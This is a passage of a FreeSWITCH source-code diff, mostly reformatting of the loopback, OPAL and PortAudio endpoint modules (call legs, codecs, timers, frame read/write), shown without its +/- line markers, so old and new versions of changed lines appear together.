tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
tech_pvt->read_codec.implementation->samples_per_packet) * 3;
switch_core_session_set_read_codec(session, &tech_pvt->read_codec);
switch_core_session_set_write_codec(session, &tech_pvt->write_codec);
if (tech_pvt->flag_mutex) {
switch_core_timer_destroy(&tech_pvt->timer);
}
read_impl = tech_pvt->read_codec.implementation;
switch_core_timer_init(&tech_pvt->timer, "soft",
read_impl->microseconds_per_packet / 1000,
read_impl->samples_per_packet *4,
switch_core_session_get_pool(session));
switch_core_timer_init(&tech_pvt->timer, "soft",
read_impl->microseconds_per_packet / 1000, read_impl->samples_per_packet * 4, switch_core_session_get_pool(session));
if (!tech_pvt->flag_mutex) {
switch_mutex_init(&tech_pvt->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
@@ -194,7 +184,7 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
tech_pvt->channel = switch_core_session_get_channel(session);
}
end:
end:
return status;
}
@@ -217,22 +207,22 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
channel = switch_core_session_get_channel(session);
switch_assert(channel != NULL);
if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) && !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
goto end;
}
if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failure.\n");
switch_core_session_destroy(&b_session);
goto end;
}
switch_core_session_add_stream(b_session, NULL);
b_channel = switch_core_session_get_channel(b_session);
b_tech_pvt = (private_t *) switch_core_session_alloc(b_session, sizeof(*b_tech_pvt));
@@ -244,7 +234,7 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
switch_core_session_destroy(&b_session);
goto end;
}
caller_profile = switch_caller_profile_clone(b_session, tech_pvt->caller_profile);
caller_profile->source = switch_core_strdup(caller_profile->pool, modname);
switch_channel_set_caller_profile(b_channel, caller_profile);
@@ -260,16 +250,16 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
//b_tech_pvt->other_channel = channel;
b_tech_pvt->other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
switch_set_flag_locked(b_tech_pvt, TFLAG_BLEG);
switch_channel_set_flag(channel, CF_ACCEPT_CNG);
switch_channel_set_flag(channel, CF_ACCEPT_CNG);
//switch_ivr_transfer_variable(session, tech_pvt->other_session, "process_cdr");
switch_ivr_transfer_variable(session, tech_pvt->other_session, NULL);
switch_channel_set_variable(channel, "other_loopback_leg_uuid", switch_channel_get_uuid(b_channel));
switch_channel_set_variable(b_channel, "other_loopback_leg_uuid", switch_channel_get_uuid(channel));
@@ -279,10 +269,10 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
goto end;
}
} else if ((tech_pvt->other_session = switch_core_session_locate(tech_pvt->other_uuid))) {
tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
tech_pvt->other_tech_pvt = switch_core_session_get_private(tech_pvt->other_session);
tech_pvt->other_channel = switch_core_session_get_channel(tech_pvt->other_session);
}
if (!tech_pvt->other_session) {
switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
@@ -292,7 +282,7 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
switch_channel_set_variable(channel, "loopback_leg", switch_test_flag(tech_pvt, TFLAG_BLEG) ? "B" : "A");
switch_channel_set_state(channel, CS_ROUTING);
end:
end:
return SWITCH_STATUS_SUCCESS;
}
@@ -301,7 +291,7 @@ static void do_reset(private_t *tech_pvt)
{
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
switch_set_flag_locked(tech_pvt, TFLAG_CNG);
switch_mutex_lock(tech_pvt->mutex);
if (tech_pvt->other_tech_pvt) {
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
@@ -333,14 +323,14 @@ static switch_status_t channel_on_routing(switch_core_session_t *session)
extension = switch_caller_extension_new(session, app, app);
switch_caller_extension_add_application(session, extension, "pre_answer", NULL);
switch_caller_extension_add_application(session, extension, app, arg);
switch_channel_set_caller_extension(channel, extension);
switch_channel_set_state(channel, CS_EXECUTE);
return SWITCH_STATUS_FALSE;
}
return SWITCH_STATUS_SUCCESS;
}
@@ -356,7 +346,7 @@ static switch_status_t channel_on_execute(switch_core_session_t *session)
assert(tech_pvt != NULL);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(channel));
return SWITCH_STATUS_SUCCESS;
}
@@ -373,11 +363,11 @@ static switch_status_t channel_on_destroy(switch_core_session_t *session)
if (tech_pvt) {
switch_core_timer_destroy(&tech_pvt->timer);
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
if (switch_core_codec_ready(&tech_pvt->write_codec)) {
switch_core_codec_destroy(&tech_pvt->write_codec);
}
@@ -416,7 +406,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_LINKED);
tech_pvt->other_tech_pvt = NULL;
}
if (tech_pvt->other_session) {
switch_channel_hangup(tech_pvt->other_channel, switch_channel_get_cause(channel));
switch_core_session_rwunlock(tech_pvt->other_session);
@@ -424,7 +414,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
tech_pvt->other_session = NULL;
}
switch_mutex_unlock(tech_pvt->mutex);
return SWITCH_STATUS_SUCCESS;
}
@@ -494,7 +484,8 @@ static switch_status_t channel_on_reset(switch_core_session_t *session)
switch_assert(tech_pvt != NULL);
do_reset(tech_pvt);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n", switch_channel_get_name(switch_core_session_get_channel(session)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s RESET\n",
switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -503,7 +494,8 @@ static switch_status_t channel_on_hibernate(switch_core_session_t *session)
{
switch_assert(switch_core_session_get_private(session));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s HIBERNATE\n",
switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -555,15 +547,15 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
if (!switch_test_flag(tech_pvt, TFLAG_LINKED)) {
goto end;
}
*frame = NULL;
if (!switch_channel_ready(channel)) {
goto end;
}
switch_core_timer_next(&tech_pvt->timer);
mutex = tech_pvt->mutex;
switch_mutex_lock(mutex);
@@ -578,7 +570,7 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
} else {
switch_set_flag(tech_pvt, TFLAG_CNG);
}
if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
uint32_t flag = 0;
@@ -598,28 +590,24 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
data,
tech_pvt->read_codec.implementation->decoded_bytes_per_packet,
tech_pvt->read_codec.implementation->actual_samples_per_second,
tech_pvt->cng_frame.data,
&tech_pvt->cng_frame.datalen,
&rate,
&flag);
tech_pvt->cng_frame.data, &tech_pvt->cng_frame.datalen, &rate, &flag);
if (encode_status != SWITCH_STATUS_SUCCESS) {
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
}
}
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
}
if (*frame) {
status = SWITCH_STATUS_SUCCESS;
} else {
status = SWITCH_STATUS_FALSE;
}
}
end:
end:
if (mutex) {
switch_mutex_unlock(mutex);
@@ -633,7 +621,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
switch_channel_t *channel = NULL;
private_t *tech_pvt = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
channel = switch_core_session_get_channel(session);
switch_assert(channel != NULL);
@@ -645,16 +633,14 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
}
switch_mutex_lock(tech_pvt->mutex);
if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
tech_pvt->other_tech_pvt &&
switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
tech_pvt->other_tech_pvt &&
switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
switch_channel_test_flag(tech_pvt->channel, CF_BRIDGED) &&
switch_channel_test_flag(tech_pvt->other_channel, CF_BRIDGED) &&
switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) &&
!--tech_pvt->bowout_frame_count <= 0
) {
switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) && !--tech_pvt->bowout_frame_count <= 0) {
const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
const char *b_uuid = switch_channel_get_variable(tech_pvt->other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
const char *vetoa, *vetob;
@@ -664,15 +650,15 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
vetoa = switch_channel_get_variable(tech_pvt->channel, "loopback_bowout");
vetob = switch_channel_get_variable(tech_pvt->other_tech_pvt->channel, "loopback_bowout");
if ((!vetoa || switch_true(vetoa)) && (!vetob || switch_true(vetob))) {
switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
if (a_uuid && b_uuid) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
/* channel_masquerade eat your heart out....... */
switch_ivr_uuid_bridge(a_uuid, b_uuid);
switch_mutex_unlock(tech_pvt->mutex);
@@ -681,7 +667,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
}
}
if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
switch_frame_t *clone;
if (frame->codec->implementation != tech_pvt->write_codec.implementation) {
@@ -701,7 +687,7 @@ static switch_status_t channel_write_frame(switch_core_session_t *session, switc
switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
}
status = SWITCH_STATUS_SUCCESS;
}
@@ -720,7 +706,7 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
tech_pvt = switch_core_session_get_private(session);
switch_assert(tech_pvt != NULL);
switch (msg->message_id) {
case SWITCH_MESSAGE_INDICATE_ANSWER:
if (tech_pvt->other_channel && !switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
@@ -734,7 +720,7 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
break;
case SWITCH_MESSAGE_INDICATE_BRIDGE:
{
switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
}
break;
case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
@@ -767,17 +753,18 @@ static switch_status_t channel_receive_message(switch_core_session_t *session, s
}
break;
default:
break;
}
default:
break;
}
return SWITCH_STATUS_SUCCESS;
}
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause)
{
char name[128];
@@ -808,7 +795,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
switch_core_session_destroy(new_session);
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
if (outbound_profile) {
char *dialplan = NULL, *context = NULL;
@@ -833,7 +820,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
if ((context = strchr(caller_profile->destination_number, '/'))) {
*context++ = '\0';
if ((dialplan = strchr(context, '/'))) {
*dialplan++ = '\0';
}
@@ -846,7 +833,7 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
caller_profile->dialplan = switch_core_strdup(caller_profile->pool, dialplan);
}
}
if (zstr(caller_profile->context)) {
caller_profile->context = switch_core_strdup(caller_profile->pool, "default");
}
@@ -857,7 +844,6 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
switch_snprintf(name, sizeof(name), "loopback/%s-a", caller_profile->destination_number);
switch_channel_set_name(channel, name);
switch_channel_set_flag(channel, CF_OUTBOUND);
switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
switch_channel_set_caller_profile(channel, caller_profile);
tech_pvt->caller_profile = caller_profile;
@@ -866,9 +852,9 @@ static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *sessi
switch_core_session_destroy(new_session);
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
}
switch_channel_set_state(channel, CS_INIT);
return SWITCH_CAUSE_SUCCESS;
}
@@ -885,10 +871,9 @@ static switch_state_handler_table_t channel_event_handlers = {
/*.on_consume_media */ channel_on_consume_media,
/*.on_hibernate */ channel_on_hibernate,
/*.on_reset */ channel_on_reset,
/*.on_park*/ NULL,
/*.on_reporting*/ NULL,
/*.on_destroy*/ channel_on_destroy
/*.on_park */ NULL,
/*.on_reporting */ NULL,
/*.on_destroy */ channel_on_destroy
};
static switch_io_routines_t channel_io_routines = {
+118 -126
View File
@@ -54,101 +54,97 @@ class FSManager;
struct mod_opal_globals {
int trace_level;
char *codec_string;
char *context;
char *dialplan;
int trace_level;
char *codec_string;
char *context;
char *dialplan;
};
extern struct mod_opal_globals mod_opal_globals;
class FSProcess : public PLibraryProcess {
PCLASSINFO(FSProcess, PLibraryProcess);
class FSProcess:public PLibraryProcess {
PCLASSINFO(FSProcess, PLibraryProcess);
public:
FSProcess();
~FSProcess();
public:
FSProcess();
~FSProcess();
bool Initialise(switch_loadable_module_interface_t *iface);
bool Initialise(switch_loadable_module_interface_t *iface);
FSManager & GetManager() const { return *m_manager; }
protected:
FSManager * m_manager;
FSManager & GetManager() const {
return *m_manager;
} protected:
FSManager * m_manager;
};
struct FSListener {
FSListener() {
}
PString name;
OpalTransportAddress listenAddress;
PString localUserName;
PString gatekeeper;
FSListener() {
} PString name;
OpalTransportAddress listenAddress;
PString localUserName;
PString gatekeeper;
};
class FSCall : public OpalCall {
PCLASSINFO(FSCall, OpalCall);
class FSCall:public OpalCall {
PCLASSINFO(FSCall, OpalCall);
public:
FSCall(OpalManager & manager);
virtual PBoolean OnSetUp(OpalConnection & connection);
FSCall(OpalManager & manager);
virtual PBoolean OnSetUp(OpalConnection & connection);
};
class FSManager : public OpalManager {
PCLASSINFO(FSManager, OpalManager);
class FSManager:public OpalManager {
PCLASSINFO(FSManager, OpalManager);
public:
FSManager();
public:
FSManager();
bool Initialise(switch_loadable_module_interface_t *iface);
bool Initialise(switch_loadable_module_interface_t *iface);
switch_status_t ReadConfig(int reload);
switch_status_t ReadConfig(int reload);
switch_endpoint_interface_t *GetSwitchInterface() const {
return m_FreeSwitch;
}
virtual OpalCall * CreateCall(void * userData);
switch_endpoint_interface_t *GetSwitchInterface() const {
return m_FreeSwitch;
} virtual OpalCall *CreateCall(void *userData);
private:
switch_endpoint_interface_t *m_FreeSwitch;
switch_endpoint_interface_t *m_FreeSwitch;
H323EndPoint *m_h323ep;
IAX2EndPoint *m_iaxep;
FSEndPoint *m_fsep;
H323EndPoint *m_h323ep;
IAX2EndPoint *m_iaxep;
FSEndPoint *m_fsep;
PString m_gkAddress;
PString m_gkIdentifer;
PString m_gkInterface;
PString m_gkAddress;
PString m_gkIdentifer;
PString m_gkInterface;
list < FSListener > m_listeners;
list < FSListener > m_listeners;
};
class FSConnection;
typedef struct {
switch_timer_t read_timer;
switch_codec_t read_codec;
switch_codec_t write_codec;
switch_timer_t read_timer;
switch_codec_t read_codec;
switch_codec_t write_codec;
switch_timer_t vid_read_timer;
switch_codec_t vid_read_codec;
switch_codec_t vid_write_codec;
FSConnection *me;
switch_timer_t vid_read_timer;
switch_codec_t vid_read_codec;
switch_codec_t vid_write_codec;
FSConnection *me;
} opal_private_t;
class FSEndPoint:public OpalLocalEndPoint {
PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
public:
FSEndPoint(FSManager & manager);
PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
public:
FSEndPoint(FSManager & manager);
virtual bool OnIncomingCall(OpalLocalConnection &);
virtual OpalLocalConnection *CreateConnection(OpalCall & call, void * userData, unsigned options, OpalConnection::StringOptions* stringOptions);
virtual bool OnIncomingCall(OpalLocalConnection &);
virtual OpalLocalConnection *CreateConnection(OpalCall & call, void *userData, unsigned options, OpalConnection::StringOptions * stringOptions);
};
@@ -174,93 +170,89 @@ switch_status_t name(type1 name1, type2 name2, type3 name3)
class FSConnection:public OpalLocalConnection {
PCLASSINFO(FSConnection, OpalLocalConnection)
PCLASSINFO(FSConnection, OpalLocalConnection)
public:
FSConnection(OpalCall & call,
FSEndPoint & endpoint,
void* userData,
unsigned options,
OpalConnection::StringOptions* stringOptions,
switch_caller_profile_t *outbound_profile,
switch_core_session_t *fsSession,
switch_channel_t *fsChannel);
FSConnection(OpalCall & call,
FSEndPoint & endpoint,
void *userData,
unsigned options,
OpalConnection::StringOptions * stringOptions,
switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
virtual bool OnIncoming();
virtual void OnReleased();
virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
virtual void OnAlerting();
virtual void OnEstablished();
virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
virtual OpalMediaFormatList GetMediaFormats() const;
virtual PBoolean SendUserInputTone(char tone, unsigned duration);
virtual PBoolean SendUserInputString(const PString & value);
virtual bool OnIncoming();
virtual void OnReleased();
virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
virtual void OnAlerting();
virtual void OnEstablished();
virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
virtual OpalMediaFormatList GetMediaFormats() const;
virtual PBoolean SendUserInputTone(char tone, unsigned duration);
virtual PBoolean SendUserInputString(const PString & value);
void SetCodecs();
void SetCodecs();
DECLARE_CALLBACK0(on_init);
DECLARE_CALLBACK0(on_routing);
DECLARE_CALLBACK0(on_execute);
DECLARE_CALLBACK0(on_init);
DECLARE_CALLBACK0(on_routing);
DECLARE_CALLBACK0(on_execute);
DECLARE_CALLBACK0(on_exchange_media);
DECLARE_CALLBACK0(on_soft_execute);
DECLARE_CALLBACK0(on_exchange_media);
DECLARE_CALLBACK0(on_soft_execute);
DECLARE_CALLBACK1(kill_channel, int, sig);
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
DECLARE_CALLBACK0(state_change);
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK1(kill_channel, int, sig);
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
DECLARE_CALLBACK0(state_change);
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
switch_core_session_t *GetSession() const {
return m_fsSession;
}
private:
FSEndPoint & m_endpoint;
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
PSyncPoint m_rxAudioOpened;
PSyncPoint m_txAudioOpened;
OpalMediaFormatList m_switchMediaFormats;
switch_core_session_t *GetSession() const {
return m_fsSession;
} private:
FSEndPoint & m_endpoint;
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
PSyncPoint m_rxAudioOpened;
PSyncPoint m_txAudioOpened;
OpalMediaFormatList m_switchMediaFormats;
};
class FSMediaStream:public OpalMediaStream {
PCLASSINFO(FSMediaStream, OpalMediaStream);
public:
FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
unsigned sessionID, ///< Session number for stream
bool isSource ///< Is a source stream
);
PCLASSINFO(FSMediaStream, OpalMediaStream);
public:
FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
unsigned sessionID, ///< Session number for stream
bool isSource ///< Is a source stream
);
virtual PBoolean Open();
virtual PBoolean Close();
virtual PBoolean IsSynchronous() const;
virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
virtual PBoolean Open();
virtual PBoolean Close();
virtual PBoolean IsSynchronous() const;
virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
private:
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
switch_timer_t *m_switchTimer;
switch_codec_t *m_switchCodec;
switch_frame_t m_readFrame;
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
RTP_DataFrame m_readRTP;
bool m_callOnStart;
uint32_t m_timeStamp;
private:
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
switch_timer_t *m_switchTimer;
switch_codec_t *m_switchCodec;
switch_frame_t m_readFrame;
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
RTP_DataFrame m_readRTP;
bool m_callOnStart;
uint32_t m_timeStamp;
bool CheckPatchAndLock();
bool CheckPatchAndLock();
};
+65 -64
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -159,7 +159,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -316,13 +317,15 @@ static switch_status_t channel_on_init(switch_core_session_t *session)
static switch_status_t channel_on_routing(switch_core_session_t *session)
{
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n",
switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t channel_on_execute(switch_core_session_t *session)
{
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n",
switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -350,7 +353,7 @@ static void deactivate_audio_device(void)
}
static void destroy_codecs(void)
static void destroy_codecs(void)
{
if (switch_core_codec_ready(&globals.read_codec)) {
@@ -404,7 +407,7 @@ static void add_pvt(private_t *tech_pvt, int master)
if (*tech_pvt->call_id == '\0') {
switch_mutex_lock(globals.pa_mutex);
switch_snprintf(tech_pvt->call_id, sizeof(tech_pvt->call_id), "%d", ++globals.call_id);
switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
switch_core_hash_insert(globals.call_hash, tech_pvt->call_id, tech_pvt);
switch_core_session_set_read_codec(tech_pvt->session, &globals.read_codec);
switch_core_session_set_write_codec(tech_pvt->session, &globals.write_codec);
@@ -486,7 +489,7 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
{
private_t *tech_pvt = switch_core_session_get_private(session);
switch_assert(tech_pvt != NULL);
switch_mutex_lock(globals.pa_mutex);
switch_core_hash_delete(globals.call_hash, tech_pvt->call_id);
switch_mutex_unlock(globals.pa_mutex);
@@ -498,7 +501,8 @@ static switch_status_t channel_on_hangup(switch_core_session_t *session)
tech_close_file(tech_pvt);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(switch_core_session_get_channel(session)));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n",
switch_channel_get_name(switch_core_session_get_channel(session)));
return SWITCH_STATUS_SUCCESS;
}
@@ -563,11 +567,11 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
goto cng_wait;
}
if (!is_master(tech_pvt)) {
if (tech_pvt->hold_file) {
switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
if (!tech_pvt->hfh) {
int sample_rate = globals.sample_rate;
if (switch_core_file_open(&tech_pvt->fh,
@@ -612,12 +616,11 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
if (tech_pvt->hfh) {
tech_close_file(tech_pvt);
}
switch_mutex_lock(globals.device_lock);
samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data, globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
switch_mutex_unlock(globals.device_lock);
if (samples) {
globals.read_frame.datalen = samples * 2;
globals.read_frame.samples = samples;
@@ -631,19 +634,19 @@ static switch_status_t channel_read_frame(switch_core_session_t *session, switch
} else {
goto cng_nowait;
}
normal_return:
normal_return:
return status;
cng_nowait:
cng_nowait:
*frame = &globals.cng_frame;
return SWITCH_STATUS_SUCCESS;
cng_wait:
cng_wait:
switch_core_timer_next(&globals.hold_timer);
*frame = &globals.cng_frame;
return SWITCH_STATUS_SUCCESS;
}
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
@@ -706,13 +709,12 @@ switch_state_handler_table_t portaudio_event_handlers = {
